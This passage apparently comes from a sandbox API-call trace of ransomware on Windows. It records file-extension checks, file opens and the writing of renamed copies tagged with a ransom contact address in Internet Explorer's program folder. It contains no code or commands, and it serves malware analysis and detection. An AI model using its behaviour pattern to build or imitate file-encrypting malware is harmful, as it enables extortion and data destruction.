lstrlenW (lpString=".1cd") returned 4 [0296.491] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.491] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0296.491] lstrlenW (lpString=".jpg") returned 4 [0296.491] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.491] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0296.491] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0296.491] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.491] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=2560) returned 1 [0296.491] CloseHandle (hObject=0x10c8) returned 1 [0296.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0296.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.492] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.492] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.492] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.492] lstrlenW (lpString=".doc") returned 4 [0296.492] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.492] lstrlenW (lpString=".docx") returned 5 [0296.492] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.492] lstrlenW (lpString=".pdf") returned 4 [0296.492] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.492] lstrlenW (lpString=".xls") returned 4 [0296.492] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.492] lstrlenW (lpString=".xlsx") returned 5 [0296.492] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.492] lstrlenW (lpString=".ppt") returned 4 [0296.492] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.492] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.492] lstrlenW (lpString=".zip") returned 4 [0296.492] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.492] lstrlenW (lpString=".rar") returned 4 [0296.492] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.492] lstrlenW (lpString=".bz2") returned 4 [0296.492] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.492] lstrlenW (lpString=".7z") returned 3 [0296.492] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.492] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.492] lstrlenW (lpString=".dbf") returned 4 [0296.492] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.492] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.492] lstrlenW (lpString=".1cd") returned 4 [0296.493] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.493] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.493] lstrlenW (lpString=".jpg") returned 4 [0296.493] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.493] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.493] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.493] lstrlenW (lpString=".doc") returned 4 [0296.493] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.493] lstrlenW (lpString=".docx") returned 5 [0296.493] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.493] lstrlenW (lpString=".pdf") returned 4 [0296.493] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.493] lstrlenW (lpString=".xls") returned 4 [0296.493] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.493] lstrlenW (lpString=".xlsx") returned 5 [0296.493] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.493] lstrlenW (lpString=".ppt") returned 4 [0296.493] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.493] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.493] lstrlenW (lpString=".zip") returned 4 [0296.493] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.493] lstrlenW (lpString=".rar") returned 4 [0296.493] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.493] lstrlenW (lpString=".bz2") returned 4 [0296.493] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.493] lstrlenW (lpString=".7z") returned 3 [0296.493] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.493] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.493] lstrlenW (lpString=".dbf") returned 4 [0296.493] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.493] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.493] lstrlenW (lpString=".1cd") returned 4 [0296.493] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.494] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0296.494] lstrlenW (lpString=".jpg") returned 4 [0296.494] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.494] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0296.494] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0296.494] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.494] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=5632) returned 1 [0296.494] CloseHandle (hObject=0x10c8) returned 1 [0296.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0296.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.495] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.495] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.495] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.495] lstrlenW (lpString=".doc") returned 4 [0296.495] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.495] lstrlenW (lpString=".docx") returned 5 [0296.495] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.495] lstrlenW (lpString=".pdf") returned 4 [0296.495] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.495] lstrlenW (lpString=".xls") returned 4 [0296.495] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.495] lstrlenW (lpString=".xlsx") returned 5 [0296.495] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.495] lstrlenW (lpString=".ppt") returned 4 [0296.495] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.495] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.495] lstrlenW (lpString=".zip") returned 4 [0296.495] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.495] lstrlenW (lpString=".rar") returned 4 [0296.495] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.495] lstrlenW (lpString=".bz2") returned 4 [0296.495] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.495] lstrlenW (lpString=".7z") returned 3 [0296.495] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.495] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.495] lstrlenW (lpString=".dbf") returned 4 [0296.495] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.496] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.496] lstrlenW (lpString=".1cd") returned 4 [0296.496] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.496] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.496] lstrlenW (lpString=".jpg") returned 4 [0296.496] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.496] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.496] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.496] lstrlenW (lpString=".doc") returned 4 [0296.496] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.496] lstrlenW (lpString=".docx") returned 5 [0296.496] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.496] lstrlenW (lpString=".pdf") returned 4 [0296.496] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.496] lstrlenW (lpString=".xls") returned 4 [0296.496] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.496] lstrlenW (lpString=".xlsx") returned 5 [0296.496] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.496] lstrlenW (lpString=".ppt") returned 4 [0296.496] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.496] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.496] lstrlenW (lpString=".zip") returned 4 [0296.496] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.496] lstrlenW (lpString=".rar") returned 4 [0296.496] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.496] lstrlenW (lpString=".bz2") returned 4 [0296.496] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.497] lstrlenW (lpString=".7z") returned 3 [0296.497] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.497] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.497] lstrlenW (lpString=".dbf") returned 4 [0296.497] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.497] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.497] lstrlenW (lpString=".1cd") returned 4 [0296.497] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.497] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0296.497] lstrlenW (lpString=".jpg") returned 4 [0296.497] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.497] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0296.497] lstrlenW (lpString="ExtExport.exe") returned 13 [0296.497] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.498] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=53248) returned 1 [0296.498] CloseHandle (hObject=0x10c8) returned 1 [0296.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0296.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.498] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.498] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.498] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.498] lstrlenW (lpString=".doc") returned 4 [0296.498] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.498] lstrlenW (lpString=".docx") returned 5 [0296.498] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0296.498] lstrlenW (lpString=".pdf") returned 4 [0296.498] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.498] lstrlenW (lpString=".xls") returned 4 [0296.498] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.498] lstrlenW (lpString=".xlsx") returned 5 [0296.498] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0296.498] lstrlenW (lpString=".ppt") returned 4 [0296.498] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.498] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.498] lstrlenW (lpString=".zip") returned 4 [0296.498] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.498] lstrlenW (lpString=".rar") returned 4 [0296.498] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.499] lstrlenW (lpString=".bz2") returned 4 [0296.499] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.499] lstrlenW (lpString=".7z") returned 3 [0296.499] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.499] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.499] lstrlenW (lpString=".dbf") returned 4 [0296.499] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.499] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.499] lstrlenW (lpString=".1cd") returned 4 [0296.499] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.499] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.499] lstrlenW (lpString=".jpg") returned 4 [0296.499] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.499] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.499] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.499] lstrlenW (lpString=".doc") returned 4 [0296.499] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.499] lstrlenW (lpString=".docx") returned 5 [0296.499] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0296.499] lstrlenW (lpString=".pdf") returned 4 [0296.499] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.499] lstrlenW (lpString=".xls") returned 4 [0296.499] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.499] lstrlenW (lpString=".xlsx") returned 5 [0296.499] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0296.499] lstrlenW (lpString=".ppt") returned 4 [0296.499] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.499] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.499] lstrlenW (lpString=".zip") returned 4 [0296.499] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.499] lstrlenW (lpString=".rar") returned 4 [0296.499] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.499] lstrlenW (lpString=".bz2") returned 4 [0296.499] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.500] lstrlenW (lpString=".7z") returned 3 [0296.500] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.500] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.500] lstrlenW (lpString=".dbf") returned 4 [0296.500] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.500] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.500] lstrlenW (lpString=".1cd") returned 4 [0296.500] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.500] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0296.500] lstrlenW (lpString=".jpg") returned 4 [0296.500] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.500] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.500] lstrlenW (lpString="hmmapi.dll") returned 10 [0296.500] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.500] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=54272) returned 1 [0296.500] CloseHandle (hObject=0x10c8) returned 1 [0296.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0296.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.504] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.504] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.504] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.504] lstrlenW (lpString=".doc") returned 4 [0296.504] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.504] lstrlenW (lpString=".docx") returned 5 [0296.504] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0296.504] lstrlenW (lpString=".pdf") returned 4 [0296.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.504] lstrlenW (lpString=".xls") returned 4 [0296.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.504] lstrlenW (lpString=".xlsx") returned 5 [0296.504] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0296.504] lstrlenW (lpString=".ppt") returned 4 [0296.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.504] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.504] lstrlenW (lpString=".zip") returned 4 [0296.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.504] lstrlenW (lpString=".rar") returned 4 [0296.505] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString=".bz2") returned 4 [0296.505] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.505] lstrlenW (lpString=".7z") returned 3 [0296.505] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.505] lstrlenW (lpString=".dbf") returned 4 [0296.505] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.505] lstrlenW (lpString=".1cd") returned 4 [0296.505] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.505] lstrlenW (lpString=".jpg") returned 4 [0296.505] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.505] lstrlenW (lpString=".doc") returned 4 [0296.505] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString=".docx") returned 5 [0296.505] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0296.505] lstrlenW (lpString=".pdf") returned 4 [0296.505] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString=".xls") returned 4 [0296.505] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString=".xlsx") returned 5 [0296.505] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0296.505] lstrlenW (lpString=".ppt") returned 4 [0296.505] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.505] lstrlenW (lpString=".zip") returned 4 [0296.505] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString=".rar") returned 4 [0296.505] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.505] lstrlenW (lpString=".bz2") returned 4 [0296.505] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.505] lstrlenW (lpString=".7z") returned 3 [0296.506] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.506] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.506] lstrlenW (lpString=".dbf") returned 4 [0296.506] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.506] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.506] lstrlenW (lpString=".1cd") returned 4 [0296.506] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.506] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0296.506] lstrlenW (lpString=".jpg") returned 4 [0296.506] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.506] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0296.506] lstrlenW (lpString="iediagcmd.exe") returned 13 [0296.506] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.506] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=512000) returned 1 [0296.506] CloseHandle (hObject=0x10c8) returned 1 [0296.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0296.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.507] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.507] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0296.507] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0296.507] lstrlenW (lpString=".doc") returned 4 [0296.507] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.507] lstrlenW (lpString=".docx") returned 5 [0296.507] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0296.507] lstrlenW (lpString=".pdf") returned 4 [0296.507] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.507] lstrlenW (lpString=".xls") returned 4 [0296.507] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.507] lstrlenW (lpString=".xlsx") returned 5 [0296.507] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0296.507] lstrlenW (lpString=".ppt") returned 4 [0296.507] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.507] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0296.507] lstrlenW (lpString=".zip") returned 4 [0296.507] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.507] lstrlenW (lpString=".rar") returned 4 [0296.507] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.507] lstrlenW (lpString=".bz2") returned 4 [0296.507] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.507] lstrlenW (lpString=".7z") returned 3 [0296.507] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.507] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0296.507] lstrlenW (lpString=".dbf") returned 4 [0296.507] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.510] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.510] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.510] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.511] GetLastError () returned 0x0 [0296.511] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x1c4, lpOverlapped=0x0) returned 1 [0296.511] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x1d0, lpOverlapped=0x0) returned 